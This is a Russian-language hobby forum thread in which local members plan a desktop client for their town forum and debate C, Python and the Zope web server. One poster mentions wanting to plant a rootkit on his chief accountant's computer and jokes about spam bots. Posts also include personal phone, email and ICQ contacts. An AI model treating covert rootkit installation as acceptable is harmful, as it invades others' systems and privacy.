Перечитываю тут Кернигана и Ричи. В 1 главе пример по подсчёту слов, букв и строк в набираемом тексте. Прмер ОЧЕНЬ красивый. На Бейсике, где-то похожее можно сделать, но нет той законченности и красивости , как в С. Паскаль тоже такие вещи позволяет делать. Но. Слова, типа begin и end меня раздражают. Куда логичнее выделять группу операторов как в С - {....}. Коротко и понятно. Ещё одно маленькое неожидонное открытие, которое я сделал. Оказывается, по умолчания GNU C++ генерит 16-битный код!!! Видимо, есть специальная деректива в пакете DJGPP для включения 32-битного кода. Хотя, где-то я читал, для этого специально заточен пакет MinGW. Тоже на базе GNU C++.

Автор: fantom 15.7.2005, 10:14

Не перестаю удивляться убогости кода в Винде.
На С++ мессадж_бокс занимает 69 килобайт!!!
На масме - 1600 байь.
Честное слово, я даже не представляю ЧЕГО туда можно напихать, чтобы так раздуть код.
Всё больше склоняюсь к той мысли, что если всё сделать поч еловечески ось, типа винды влезет в 60...70 метров.
А ещё больше удивлюяюсь, как Менует влазит на флопарь, да ещё 400 кило свободных остаются. Ось может быть http-сервером, есть кулькулятор, тетрис, шахматы, irc-чат, компилятор(!!!), скины\шкурки, браузер слаб - но тоже есть.
Мона музычку послушать, а мона и трёхмерную заставку запустить.
вот не поверю после этого, что виндовозы и интеловцы не имеют секретного соглашения по сдиранию бабок с юзверей. smile.gif))))

Автор: ICEMan 15.7.2005, 14:53

От вопроса Осей к вопросу собсна программирования.
У меня в августе будет более-менее достаточно свободного времени.
Я вот что подумал...
В самом начале была упомянута идея написания клиента для форума.
И идея мне эта понравилась. Я даже несколько удивлен что на нее мало кто обратил внимание.
Так вот...
Предлагаю взятся за написание клиента для форума.
Это полюбому расширит возможности пользователя потому что закачав все лишь раз потом будут докачиваться только новые посты и не нужно будет по 200 раз закачивать уже прочитанные.
Кроме всего остального - просмотр сообщений в оффлайне, что в браузере осуществить, согласитесь, довольно напряжно.
Если кому понравилась моя идея пишите сюда, в ПМ, на мыло jmikle@mail.ru или оставляйте мессаги в аське: 9693934
Из всего этого чаще всего проверяется естесна е-майл.
То, чего я не знаю и что, скорее всего потребуется: Вижуал Бэйсик и Дельфи
Знаю относительно хорошо ПХП+Мускул, немного Си. Остальное вряд ли потребуется
Спасибо за внимание.

Автор: fantom 15.7.2005, 15:20

Знать ПХП достаточно.
Я вполне знаю Вижл Бейсик - прост, туп и быстр.
Письмо на мыло - я тебе отправил. Вопрос остался только в типе сервера.
Впрочем, ПХП по барабану - он и в Африке ПХП.
Такжне есть чисто организационный вопрос - а позволит ли админ сервака исполняемые скрипты ваять?.

Автор: fantom 16.7.2005, 7:15

Вот и добрался в Кернигане и Ричи до шаманства. smile.gif)))
Язык Си мощный, но этого недостаточно.
Вот пример такого шаманства:

> A[I] = I++;

Ну вот непонятно совершенно, то будет на выходе. Всё зависит от компилятора.
Нифига себе переносимость!!!!
Далее по тексту идут примеры того, как можно сократить код.
И это из оперы, когда благими намерениями дорога вымощена в ад. smile.gif))
Всё таки я предпочитаю - один оператор - одна строка. Максимум смысла и комментариев, в ущерб краткости. smile.gif
В этом плане - ассемблер вряд ли что заменит. smile.gif))

Автор: Brutall 16.7.2005, 11:44

Цитата
Такжне есть чисто организационный вопрос - а позволит ли админ сервака исполняемые скрипты ваять?.

О! Всё-таки решили взяться за это в высшей степени полезное дело? ОК!
Фантом, что требуется от меня как от Админа? Или мож тебе права админские нужны, чтобы тут поковырять всё, или так обойдёшься?

Автор: ICEMan 16.7.2005, 14:29

Скажу я.
Так как я существо ленивое и буду заниматься (как я понял) как раз запросами на форум (то есть самым геморроем), то мне нужны сорцы пхорума - раз, пиво и сардельки - два.
Второго чем больше тем лучше smile.gif
И не забывайте что нужно для начала стрелкануццо в Черняховске.
Вернее это было бы неплохо.

Автор: Brutall 16.7.2005, 14:37

Начало августа, я, ты и Фантом, может быть Шнапс с Фростом, может ещё кто. Обсудим. ДАЙ НОМЕР МОБИЛЫ!!! В РМ!

Автор: ICEMan 16.7.2005, 14:57

Моб. будет тока на след. неделе.

Автор: Moonwalker 16.7.2005, 18:48

Фигасе вы тут умные... Тогда к вам вопрос... По сайту как таковому, а не только форуму... Как на серваке настроить прелоад всей страницы, дабы она частями не грузилась... Просто не очень хочется "трахаться" с каждой отдельной страницей...

Автор: fantom 16.7.2005, 20:04

[Brutall]
> О! Всё-таки решили взяться за это в высшей степени полезное дело? ОК!
Да я вроде как и не отказывался. spiteful.gif

> Фантом, что требуется от меня как от Админа? Или мож тебе права
> админские нужны, чтобы тут поковырять всё, или так обойдёшься?
Мне права не нужны - АйсМан подвязался на стороне сервера шкодить. Вот ему и давай.

[ICEMan]
> Скажу я.
> Так как я существо ленивое и буду заниматься (как я понял) как раз
> запросами на форум (то есть самым геморроем),...
Да ладно тебе цену набивать. Самый гемморой, в дырявой Винде клиенту состряпать spiteful.gif База данных на серваке уже есть. И запросы к ней в сорцах посмотреть можно. А мне придётся базу с нуля косячить. spiteful.gif))

> то мне нужны сорцы пхорума - раз, пиво и сардельки - два.
> Второго чем больше тем лучше smile.gif
СОРЦЫ, я думаю, БрутАлл тебе подгонит, сардельки/пиво - сам ищи. :Ь

[Brutall]
> Начало августа, я, ты и Фантом, может быть Шнапс с Фростом, может ещё
> кто. Обсудим. ДАЙ НОМЕР МОБИЛЫ!!! В РМ!
Встречаться в реале это не возбраняется, но сила программерского дзена уже будет не та. smile.gif))
Я честный человек, скрывать мне нечего: 8-911-488-69-77 smile.gif

[Moonwalker]
> Фигасе вы тут умные... Тогда к вам вопрос... По сайту как таковому, а не
> только форуму... Как на серваке настроить прелоад всей страницы, дабы
> она частями не грузилась... Просто не очень хочется "трахаться" с каждой
> отдельной страницей...
Вставляешь код на стороне клиента - грузить это, это и это, пока юзверь рассматривает голых тёток на первой странице. А потом ,при нажатии на кнопку - страница не грузиться будет, а подниматься с диска юзверя. Юзверь в ауте. smile.gif))

Автор: Moonwalker 16.7.2005, 20:06

Спасибо за умный ответ ))) И вообще, проверь личку!!!

Автор: fantom 16.7.2005, 20:08

Сейчас загляну. Не успел свои ошибки исправить - уже кто-то прочитал. Во млин, дожился!

Автор: Brutall 17.7.2005, 18:55

Цитата
СОРЦЫ, я думаю, БрутАлл тебе подгонит, сардельки/пиво - сам ищи.

Ага. Тока сорцы у Шнапса лучше проси, он щас в Чернихе.
Цитата
Встречаться в реале это не возбраняется, но сила программерского дзена уже будет не та.

Мы просто обсудим, что и как делать.

Автор: fantom 17.7.2005, 21:11

А мне сорцы не нада. spiteful.gif
Мне проще самому и сервак, и клиент нарисовать. smile.gif))

Обсудить по любому нада. spiteful.gif
Протоколы входа, обмена, обновления данных/клиента, закачка файлов/изображений, ворд-фильтр, штрафы, списки, авто-контроль...
Разднлов куча. Придётся ВСЁ согласовывать и документировать.
Для почину вкладываю нулевой билд клиента форума.
smile.gif))
Какие-то простые вещи начну делать сам. Типа, ввода пароля при запуске клиента.

 ____________000.exe.zip ( 2.63 килобайт ) : 298
 

Автор: ICEMan 18.7.2005, 0:41

Шустро вы... может меня подождете? )))
Шнапс в Чернихе
Скоро подтянется весь народ
Тогда все и обсудим
Жду полного собрания банды в августе

Автор: fantom 18.7.2005, 6:51

А фигли ждать?
Кнопочки рюшечки и так нарисовать можно. Совместная работа - это только протокол.
3 билд клиента. Мультидокументный!

 ____________003.zip ( 4.44 килобайт ) : 300
 

Автор: Brutall 18.7.2005, 11:02

А у меня нихрена не работае. Тока история открывается, и всё. Ни одной конопочки и менюшки нет. Как там чо работает-то, а?

Автор: fantom 18.7.2005, 16:30

Так я ж написал - билд НУЛЕВОЙ!!!!
Чего там может БЫТЬ????
Впрочем, вот 4 билд. Тама уже кой-чего имеется. smile.gif))

 ____________004.zip ( 5.74 килобайт ) : 299
 

Автор: Brutall 18.7.2005, 18:43

Уже что-то. А что такое "монитор событий"?

Автор: fantom 18.7.2005, 22:39

Монитор событий - это типа админское средство, для отлова глюка в программе, или шкодства юзверя. %)
Кто-нить захочит повредничать, а админ - бац! - и команду на четние логов пользователя. или у юзверя просто баг - логи полезно почитать чтобы выяснить, что за глюк прога поймала.
Потому как, юзверь зачастую сам объяснить что произошло не в состоянии. %)))
Прикладваю 5 билд.

 ____________005.zip ( 8.43 килобайт ) : 301
 

Автор: Brutall 18.7.2005, 23:53

Пока неплохо. А command 1 и т.д. - это что будет?

Автор: fantom 19.7.2005, 7:10

Все эти "комманды" будут кнопки видимых форм. Если они не будут умещаться - будет работать "кнопочная" прокрутка влево и в право.
6 билд традиционно прилагается. smile.gif

 ____________006.zip ( 10.81 килобайт ) : 305
 

Автор: Brutall 19.7.2005, 11:58

А что ещё за данные пользователя? Куда эта инфа вообще идёт? И зачем?

Автор: fantom 19.7.2005, 13:55

Инфа о себе заполняется самим юзверем. А выбрав из списка нужного - можно загрузить инфу о выбранном юзвере.
Кроме того, сейчас буду встраивать браузер на движке от ослика. Простенький. Но приятный. smile.gif

Автор: ICEMan 19.7.2005, 14:01

Значит мое присутствие здесь не требуется. =/ Ну что ж... Мне по барабану.
Только я не понимаю зачем выкладывать первые билды? Они все равно не рабочие.
Достаточнопросто написать, мол "добавлено то-то и то-то". А вот когда прога бкдет более-менее стабильно работать, можо выкладывать все подряд.

Автор: fantom 20.7.2005, 21:40

Есть категория людей, которым надо. %)
Впрочем, скоро клиент вырастет до таких размеров, что только держись. smile.gif

 ____________008.zip ( 18.46 килобайт ) : 299
 

Автор: fantom 21.7.2005, 10:19

Думаю, а чего народ как-то приутих? spiteful.gif
Что, никто протокол обмена обсуждать не собирается? :0
До августа ещё пилить и пилить.
Процесс тормозить не нада. spiteful.gif

Ох и поноварочано в Си.
Как буд-то нарочно. В асм всё пнросто.
И даже разделение на функции и процедуры условно - всё зависит от возвращаемых значений. smile.gif))

Автор: Brutall 21.7.2005, 12:26

Цитата
Думаю, а чего народ как-то приутих?
Что, никто протокол обмена обсуждать не собирается? :0
До августа ещё пилить и пилить.
Процесс тормозить не нада.

Ну, для этого надо Айса напрячь, то есть заставить его, чтобы он сейчас приехал в Черних и поговорил со Шнапсом, раз меня пока нет в Чернихе. Айс, ау!!! Как слышно?

Автор: fantom 21.7.2005, 21:03

Да зачем физическое присутствие? А договориться о командах не судьба???
#000 - запрос клиента
$000 - подтверждение запроса сервера и т. п. Для ЭТОГО физическое присутствие нужно????

Автор: Brutall 21.7.2005, 21:20

Мля, ну давайте тада с Айсом, работайте. Айс, за исходниками к Шнапсу обращайся.

Автор: Schnapz 22.7.2005, 1:27

Цитата
Мля, ну давайте тада с Айсом, работайте. Айс, за исходниками к Шнапсу обращайся.

Лучше наверное будет не исходники дать, а уже пропатченные файлы прям с сервака, интернет у Михаила есть, а пароль я дам.

Автор: fantom 14.8.2005, 20:38

Ну что? Сходняк прошёл нормуль. smile.gif
Теперь о птичках.
Порт админ открыл для изуверств?

Автор: ICEMan 16.8.2005, 20:05

Макс, я на выходных к тебе зарулю, обсудим.
Насчет порта, чувствую, даже не спрашивали еще )))

Автор: fantom 17.8.2005, 12:30

Зашибись ребятки. spiteful.gif
Если так с америкосами в третьей мировой бороться будем - дооолгооо придётся супостатов побеждать. smile.gif)))
А инет у меня тупил очень долго - видать порт инфракрасный подыхает.

Автор: fantom 18.8.2005, 19:33

Ура!
Качаю MinGWStudioFullInstall! (GNU MinGW C++ for Windows and IDE)
Даёшь бесплатный софт во всём мире!!!

Автор: fantom 1.9.2005, 18:33

---Придётся мне новый топик разруливать!!!!!---
На просторах интернета обитает такой зверь - Python [Питон] 2.4.1
Написал его Гуидо ван Россум - по всему видать - не слабый череп.
Язык полностью GPL. Существуют порты под Win, Linux, Unix, Solaris, Mac OS, идёт работа над портом под QNX.
Кое какие технические подробности:
1. Интерпретатор. Но не совсем. Исходный текст динамически компилируется в байт-код, что даёт ускорение примерно в 10...12 раз. Скомпилированный файл байт-кода сохраняется и видо-изменяется при изменении исходного файла.
2. Имеет библиотеки графического интерфейса!!!!! Модуль Tk\Tcl - родной для Линуха.
3. Имеет поддержку звука/видео/графики - стандартный модуль.
4. Поддерживает МУЛЬТИТРЕЙДИНГ(!!!!!!). В РЕЖИМЕ ИНТЕРПРЕТАТОРА!!!! Это просто праздник какой-то!!! Вижл Бейсик - такого не могёт. (а то, что можно сделать, по сути, потоком не является, т. е. не может часть программы выполняться на другом процессоре системы).
5. Встроенная поддержка http/CGI. Это на Бейсике можно сделать, но ГЕЕММООРРОЙЙ!!!.... А здесь бери, и валяй скрипты. Более того, на Питоне сделан ввв-сервер "Зопи" (Zope). Не полностью GPL, но для коммерческого использования - бесплатен полностью. Может работать сам, а может и из-под Апача. Ни в чём ему не уступает.
6. Встроенна поддержка e-mail. Спам-робота на Питоне написать - что два пальца об асфальт!... spiteful.gif
7. Встроенная поддержка работы с базами данных - Oracle, MySQL, Samba.
8. Встроенная поддержка XML - кто знает тот поймёт. %)
9. Поддержка классов. Должен заметить - своеобразная, но наследование и полиморфизм - рулит. smile.gif
10. КУЧА сторонних модулей для расширения языка.

Привожу код для создания окна на Питоне:
------------------------
# -*- coding: utf-8 -*-

import sys
from Tkinter import *

def btnCl(event):
sys.exit(0)

root=Tk(className="Проверка")
btn=Button(root)
btn["text"]="123"
btn["command"]=btnCl
btn.pack(ipadx=100,ipady=100)
root.mainloop()
----------------------
И ЭТО - ВСЁ!!!!!!!
Размер файла - 253 байта!!!!
На ассемблере - минимум 3500 байт!!!

И на закуску, как я уже ранее отмечал, Маст-Дай - не поддерживает gzip. Так вот, Питон ЗНАЕТ как работать с zip, gzip, 7zip. Написать на Питоне архиватор - это даже не два пальца об асфальт!!!!

Короче, активно изучаю Питон, и пишу интерфейс.

Автор: ICEMan 1.9.2005, 19:10

Давай...
А я пока с серверной частью разбираюсь...
Хреново как-то получается, надо сказать, но кое-какие наработки уже есть.
Позже расскажу, ща времени нет sad.gif

Автор: Schnapz 1.9.2005, 20:28

Алё алё, Фантом, какой порт просить и как мне так поподробнее объяснить зачем он нужен?

Автор: fantom 1.9.2005, 20:55

АйсМану привет.
Творческих узбеков. smile.gif))
Мне тоже в Питоне не совсем ясно, как например обозначить статические члены в классе, хотя по извратному статические члены реализовать можно.

По поводу порта.
Прову нужно вежливо впарить, что нужен выделенный порт под специализированный клиент под форум. Ответная часть(серверная) будет в виде скриптов отдельно от форума. И работать будет по TCP\IP. Протокол стандартный - файрволлы его любят, поэтому проблем не будет. Также объясни, что данные будут качатся в протоколе PCF\IP - protocol chernychovsk forum over IP - то бишь собственный проткол команд и ответов. А это, как Samba анализировать - вуй его знает что за данные такие - подобраться будет сложно. Намекни, что если надо, даже шифрование применяться будет с завязкой на логин форума, время начала сеанса, и IP машины - пробиться будет ОЧЕНЬ сложно. Разве что, скачать исходный код. spiteful.gif А я его кому попало - не дам. smile.gif))
Что касается номера порта - то любой. Желательно непревилигоравнный, с адресом старше 45000. Пока сканер портов до него доберётся (особенно по модему) - много времени пройдёт. Если не жалко - пусть портов 40...60 даёт. 5 портов сразу как стандартные порты сервера пойдут (1 для тестирования системы), ещё 15 - будут открываться закрываться в зависимости от расписания - на его основе тоже будет генериться ключ к дешифрации (время&номер порта), остальные - 25...45 - юзверьские. Больше вряд ли людей на форуме будет. Вплоть до того, что на вход файрволла по портам может пароли вешать - для надёжности. Дави на безопасность и профессионализм разработчиков PCF. %)))

Автор: Schnapz 2.9.2005, 10:26

Написал хостеру, ждемс ответа.

Автор: ICEMan 2.9.2005, 14:49

Причем с нетерпением.
А теперь о том, как реализовать это все на ПХП...
COF/IP звучит конечно ооочень гордо, но я слабо представляю себе картину шифрования передаваемых данных... ну и хрен с ней с ней smile.gif
Теперь о нашей баранине...
Не смог я по дампу (Шнапс, сноси его к чертовой матери.... он там больше не нужен) восстановить базу. Но я буду стараться smile.gif
Предлагаю начать с аутентификации пользователей.
Это самое простое и, по сути, самое начало.
Вот...
Пока все... разбираюсь с базами.

Автор: Schnapz 2.9.2005, 18:58

Фантом, хостеры сказали, что у них порты открыты и типа мы можем все сделать самостоятельно ok.gif

Автор: Moonwalker 3.9.2005, 6:40

Хм... А неужели еще нет подобной проги? Или вы первые, кто решил ее сделать? spiteful.gif Может, и бабла заработаете... )))

Автор: fantom 3.9.2005, 11:58

АйсМан!!!!
Ты кого COFом обозвал????? >:(
Докладаю - COFF - это шизанутый формат Мастдая для линковки файлов!!!!
Ты CPF/IP с тухлятиной не мешай!!! smile.gif

Шнапс!!!
Про хостеров могу сказать - или они очень умные, или очень глупые.
rofl.gif rofl.gif rofl.gif

Принимаю волевое решение:
Для сервера будут порты -
1. 45700
2. 45701
3. 45702
4. 45703
5. 45704 (для тестирования)

В ПХП надо искать искать событие Request (или похожее, может быть AczeptRequest) - запрос на соединение.
Первая команда от сервера будет такая:
#001 [запрос логина]
Ответ клиента:
^001[логин - 40 символов]
#002[запрос пароля]
^002[пароль - до 40 символов]

Пока хотя бы так.

Автор: Schnapz 4.9.2005, 0:32

Цитата
Шнапс!!!
Про хостеров могу сказать - или они очень умные, или очень глупые.

Ну не знаю, за ради этого ответа они специально советовались со своими системщиками smile.gif Ты лучше скажи, что тебе нужно для полной проверки работоспособности клиента и прочего? Наверное отдельная папочка на фтпшнике нужна будет rolleyes.gif

Автор: fantom 5.9.2005, 12:37

На счёт папочки - это грамотное замечание. Скрипты все, следует в одном месте складировать. Кроме того, я подумал, может пригодиться в конфигах АПАЧА на сервере, прописать виртуальный хост, с путём напрямую к папке. Ну это правда, обычно, не бесплатно бывает, а нет - так и фиг с ним. К порту обращаться буду, типа <www.chernyachovsk.com:45700>

Автор: fantom 7.9.2005, 9:02

Продолжаю мучать Питона. Ну я просто тащусь!!!!
Интерфейс можно создавать "с заполнением" как в Делфях, но при этом в режиме интерпретатора - Питон ни разу не тормозит.
И самый большой прикол - написал "Блокнот" в виде класса!!!!
Сколько захочу, столько раз и создам!!! smile.gif)))
И где я раньше был???

Автор: Schnapz 8.9.2005, 19:04

Фантом, данные по папке клиента исчи в ПМе. А насчёт виртуального хоста - конфигов сервера у меня конечно нету, но могу спросить у хостеров, как и чо.

Автор: ICEMan 8.9.2005, 19:20

Скоро
Корпоративный заказ допишу и буду тут
Ну нафиг такую халтуру...
Вторую неделю насилую ПХП
Или наоборот... скорее даже наоборот... ((

Автор: Schnapz 15.9.2005, 21:15

Ну а что ж поделать, денежки всем нужны smile.gif

Автор: fantom 16.9.2005, 6:35

У меня на работе завал - сервер с базой данных - чуть не помер. То что, шеф меня до сих пор не расстерял - это просто чудо.
Но с другой стороны, на Питоне освоил графический интерфейс, и в консольном режиме написал пару клиент-сервер. Есть только одна команда - выход из сервера, но и это уже хорошо. Принцип один и тот же. Есть кое какие вещи, которых я пока не понимаю, но это тоже вопрос времени.

Автор: fantom 17.9.2005, 9:28

Оказывается Питон - жирный зверёк - куча всяких утилиток, вплоть до компилятора Питона в экзешники. А уж про всякие среды - глаза разбегаются, что оказывается в комплекте к Питону не поставляется, но моогло бы. spiteful.gif
Короче, качаю, качаю, и ещё раз качаю. Надеюсь, что это перспективная трата денег. smile.gif

Автор: fantom 20.9.2005, 11:03

Прикольно. Полновесные приложения для Питона весят максимум по 60 кило.
Чтобы я так жил. smile.gif))
Например, writer.exe - на Питоне всего 40 кило, со всеми картинками!!!!

Автор: ICEMan 7.10.2005, 21:19

Это все чудно, конечно... но давайте, пока у мя и-нета есть немножко, с клиентом че-нить думать, а?

Автор: fantom 13.10.2005, 20:19

А чё тут думать? Без инета жизни нету.
У мя вот тоже вишь какая заминка вышла.... ;-(

И то на счёте - центов 90 лежит.
Сказать по правде, с пылу жару по Питону угар прошёл.
Документации мало, особенно по графическому модулю TCL\TK. Нашёл книгу по Перлу с описанием модуля - однозначно Перл слабее. А ради одной графики (в Перле оно же используеся) - 350 р. тратить как то неохота.

Автор: ICEMan 14.10.2005, 1:00

И вапще....
Давайте думать. Предпочтительно вместе.

Автор: Brutall 18.10.2005, 19:28

Чот я вижу мало кто горит желанием думать. Так будет у нас клиент или нет?

ЗЫ Фантом, у меня есть 10 метров доков по Питону, тока я ваще х.з. как тебе их переслать.

Автор: fantom 3.11.2005, 12:13

У меня тепеь АйДиЭсЭл на работе. Так что вылез наконец. Что касается доки по Питону - 10 метров это не слабо.
Ещё бы знать, что именно, ты мне пытаешься впарить. spiteful.gif
У меня её тоже не мало.
Кое что меня в Питоне напрягло, например - графика. А вообще, усё довольно мило.
Ои клиента я оторвался капитально - работа не позволяла заниматься.
Но теперь пошуршим. spiteful.gif

Автор: fantom 4.11.2005, 11:08

Похоже у меня опять пруха. %)
На работе седня нет никого - я один инет имею. %)))
ВериКул!
Думается, буду я дома клиент дальше насиловать. А чё делать? Водку я не пю, котёнок на мои любимые кросовки банку солидола вылил, печку протопить нада. Работать на удице уже доаольно прохладно.
Питон зверёк хорош, да только графика у него прихрамывает. Придётся дальше ВжикБейсик мучать, как самый мне известный.
Вот такая песня.

Автор: fantom 7.11.2005, 11:02

Нашёл порт графичиеской библиотеки Qt под Вынь!!!!!
Вот это песня. Эти портки заточены специально под Питон!!!
Ищу доку про эту термоядерную смесь. Линух на Выньдовс наступает по всем фронтам!!!! :-)

Автор: fantom 7.11.2005, 17:35

Ёхороный бабай!
Вот это я юный мальчик!
Скачал среду разработки boa-constructor!
Я ещё до конца не понял что делать то можно, но то что меня контузило - это факт!

Автор: Schnapz 7.11.2005, 23:19

Вот и у Фантома появился ЖЖ на нашем форуме rolleyes.gif

Автор: fantom 8.11.2005, 14:39

А что таки делать?
Главное не командирским языком пишу. spiteful.gif
-*-*-*-*-*-
На одном из Омских фтп-серваков откопал софт под версию Питона 2.4 - сплошное новьё (собственно, я всё предыдущее оттуда и качал).
Что особенно премило - универсальный сервер Зопи(Zope) обновился!
Апач по любому отдыхает! Есть вариации под любую платформу.
Сажусь ковырять эту весьма(!!!) грамотную конструкцию.
Пока время есть.

Автор: fantom 9.11.2005, 17:28

Вах! Последняя версия универсального сервера Зопи - ТУПИТ! Мля!.... :-/
Ну ничё....
Не таких ломал....
А пока вот помаленьку сайтой своей занимаюсь.

Автор: Balamut 10.11.2005, 22:22

Цитата(fantom @ 8.11.2005 - 15:25)
Апач по любому отдыхает!
*

апач не может отдыхать. он рулит. smile.gif

Автор: fantom 14.11.2005, 9:41

У Апача нет Веб-интерфейса.
У Апача нет целевого языка.
У Апача нет режима выполнения скриптов "Бастион".
У Апача нет брокера объектов, и он не имеет встроенной поддержки баз данных!
Апач vs Зопи - как чукча против танка!

Автор: Balamut 24.11.2005, 21:58

Цитата(fantom @ 14.11.2005 - 10:27)
У Апача нет Веб-интерфейса.
У Апача нет целевого языка.
У Апача нет режима выполнения скриптов "Бастион".
У Апача нет брокера объектов, и он не имеет встроенной поддержки баз данных!
Апач vs Зопи - как чукча против танка!
*
а нахрена ему это все? апач - это производительный веб-сервер. а не веб-интерфейс какой-нибудь к базам данных.

Автор: fantom 25.11.2005, 13:07

Ты фишку не понял - Зопи - это ОБЕЪКТНО-ОРИЕНТИРОВАННАЯ Веб-программа, выполняющая функции брокера объектов, CGI-сервера, mail-сервера, Веб-приложений, и все того, что только можно запихнуть туда, благодаря только своей фантазии. ПОД ЛЮБОЙ осью.
---------------
Пытаюсь прошарить как работает прокся. Мене рут-кит нада на глав-буха повесить. spiteful.gif))

Автор: fantom 29.11.2005, 16:05

Рискнул своей головой, поставил на сервак Зопи 2.8.
Поработал, присмотрелся, и аж на глаза загорелись - форум бы на движок Зопи - была бы сказка! И ООП, и http, и база данных!

Автор: Balamut 29.11.2005, 22:20

Цитата(fantom @ 25.11.2005 - 13:53)
Ты фишку не понял - Зопи - это ОБЕЪКТНО-ОРИЕНТИРОВАННАЯ Веб-программа, выполняющая функции брокера объектов, CGI-сервера, mail-сервера, Веб-приложений, и все того, что только можно запихнуть туда, благодаря только своей фантазии. ПОД ЛЮБОЙ осью.

*

да ботва это. а ля микрософт интернет эксплорер: излишняя функциональность, но обратная сторона у нее - масса потенциальных дыр. я такую херь себе никогда не повешу на сервер.
цитирую : "Сайт, построенный на платформе Zope, является полиморфным, многоликим. На него может прийти и анонимный пользователь, и зарегистрированный пользователь с именем и паролем, обладающий определенными правами. Но для разных категорий пользователей он выглядит по-разному. Это значит, что он может выполнять и разные функции, в зависимости от категории пользователя. Например, для обычного пользователя «с улицы» он может показать, какие на предприятии есть товары и цены (актуальную информацию, которую не нужно постоянно обновлять вручную), для руководителя, находящегося в командировке,— товары, цены, количество и общие экономические показатели; для склада — одно, для магазина — другое..."

только есть нюанс: лучше поднять два сервера: для инсайдеров и общедоступный. и инфу разграничить по доступу чуть ли не на уровне файрвола.
вообще получается что крупная контора, которая нуждается в таких наворотах сможет поставит себе не один а десять серверов для сохранения комм тайны, а мелкой и один нафиг не нужен. такие дела. баловство энтузиастов этот зопе (жопе ? smile.gif ) - и не более....

Автор: Balamut 29.11.2005, 22:27

кстати у MSAccess есть "страница доступа к данным", с помошью которой вполне можно работать с базами как акцесса так и оракла, 1С, MSSQL ...

Автор: worldmind 24.1.2006, 15:39

Уважаемый fantom, нечего метаться как продукт дефекации в проруби, решили писать клиент на питоне, но не с тикеем, а с wxWindows/wxWidgets значит пишем, и не надо отвекаться на письки и жопы, постановка задачи была совершенно иная - форум есть и работает и к нему нужно написать клиент. Участвуешь или будешь в жопе ковыряться?

Автор: Nikita 28.1.2006, 23:40

Фантом, а где ты так программированию научился? я тоже так хочу.. ok.gif как програмка-то называется? В чем специализируешься - по серверу или вообще?

Автор: Guest 29.1.2006, 0:21

Цитата(Nikita @ 29.01.2006 - 00:26)
Фантом, а где ты так программированию научился? я тоже так хочу..  ok.gif  как програмка-то называется? В чем специализируешься - по серверу или вообще?
*

лучше спроси где он так трендеть научился. программировать он не умеет и продуктов никаких (клиентов к форуму) не ждите. а умеет он только трепать языком, причем часто завирается (рассказывая о том чего не знает) и его легко можно на этом подловить.

Автор: Nikita 29.1.2006, 0:26

А вы откуда знаете? Вроде он показал какие-то знания в постах.. Я бы так не придумала smile.gif

Автор: Guest 29.1.2006, 0:48

Цитата(Nikita @ 29.01.2006 - 01:12)
А вы откуда знаете?  Вроде он показал какие-то знания в постах..  Я бы так не придумала smile.gif
*

я с ним знаком лично. (черняховск - маленький город. все друг друга знают.)

Автор: Nikita 29.1.2006, 0:50

А откуда он тогда все эти коды взял если не может программировать?

Автор: Guest 29.1.2006, 1:07

Цитата(Nikita @ 29.01.2006 - 01:36)
А откуда он тогда все эти коды взял если не может программировать?
*

какие коды? те "билды" которые он выкладывал? так там ничего нет - а оболочку с кнопками любой школьник накидает за 5 минут. а вот заставить работать....

Автор: Nikita 29.1.2006, 1:10

Ок Ок И не спорю, так ка в этом деле не соображаю. А вы?

Автор: Guest 29.1.2006, 1:18

Цитата(Nikita @ 29.01.2006 - 01:56)
Ок Ок И не спорю, так ка в этом деле не соображаю. А вы?
*

ковырять понемногу могу, но серьезный проект - врядли потяну. чтоб программировать - надо этим серьезно заниматься,а не по настроению и свободному времени.

Автор: Nikita 29.1.2006, 1:31

А каким программированием ковыряетесь smile.gif

Автор: Snake 29.1.2006, 2:09

Цитата(Guest @ 29.01.2006 - 01:07)
лучше спроси где он так трендеть научился. программировать он не умеет и продуктов никаких (клиентов к форуму) не ждите. а умеет он только трепать языком, причем часто завирается (рассказывая о том чего не знает) и его легко можно на этом подловить.
*

А чё анонимно?

Автор: fantom 24.2.2006, 15:39

Ну под ником "Гость" конечно, круто наезды кидать, особенно "знаком лично". smile.gif smile.gif smile.gif
Ну хоть один билд, с кнопочками накидать ГДЕ?????
---------------------
Честное слово, сделал бы, да теперь то инета нет, то времени. Как никак я теперь железнодорожник. smile.gif Да ещё на 2 месяца в Москву могу попасть на обучение. Так что, не фиг тама из прохладной тени лиан выкрикивать! spiteful.gif
-----------------
Теперь по поводу Зопи.
Пока под Зопи неизвестно НИ ОДНОЙ уязвимости. На серваке Зопи сделан сайт банка "Менатеп" и фонда "Общественное мнение".
И преимуществ могу дополнить - контроль версий, платформонезависимая база данных (разумеется переносимая). Раздельный доступ для админа, директора, главбуха, продавца, залютного юзьверя. Контроль прав на уровне "объект". Вот сколько у объекта свойств/методов есть, вот столько и прав. Права разумеется, наследуются. Причём также как права объектов, также присутсвуют права "файлов" и "каталогов". Почемку в кавычках, потому что фаловая система - виртуальная, в единой базе данных в виде одного файла.
Кроме того, постоянно в фирмах наблюдаю склоки между дизайнерами и программёрами - а тут на те вам - раздельный доступ для дизайнера, и для программёра. Дизайнер ВООБЩЕ не видит код. А программёр имеет дело с объектом Х, который на самом деле может оказаться чем угодно, и где угодно. Программист не отвечает за размещение объекта на веб-странице.
---------------------
Что на счёт серьёзных проектов, думаю, вытяну. Не для того 5 лет в институте гранит науки долбил, и два года программистом работал, что бы лохой от программирования быть. spiteful.gif
Кстат, где так можно научиться. По поводу Питона могу предложить начать с моего сайта: http://www.fantom-lab.narod.ru
P. S.
Кстати, о птичках последнюю версию Zope 3.2 я всё-таки запустил. Я ошалел!!!!
Веб-интерфейс на русском языке!!!! Даже шкодить можно не отходя от кассы!!!
Часть справки на русском, но буржуйского, как водится, мы не боимся!
smile.gif

Автор: fantom 25.2.2006, 13:51

И всё-таки я за клиент к форуму, понятна позиция отдельных товарищей по поводу приведённого мною сервера. spiteful.gif
Но так поставлен процесс - соответственно и результат. Как говорил один из моих командиров - под лежачий камень и моча не течёт.
Надо же как-то согласовывать, обсуждать, намечать. Тестирование, ОДНОЗНАЧНО, на живом форуме это начло тихого ужаса. Значит нужна копия форума на болванке, сдвижком. Дабы посмотреть что да как. А потом мнение пользователей ведь не самое последние требование в соданиипроекта.
А то что анонимнщик тут заявил, что серьёзный проект не потяну - речь не идёт о глобальном проекте. Так, довесочек для удобства всех. Готов пожертоватвь один вечер в неделю для обсуждения данного вопроса в реале. По моему, вполне разумный шаг для воплощения мысли в реальность.
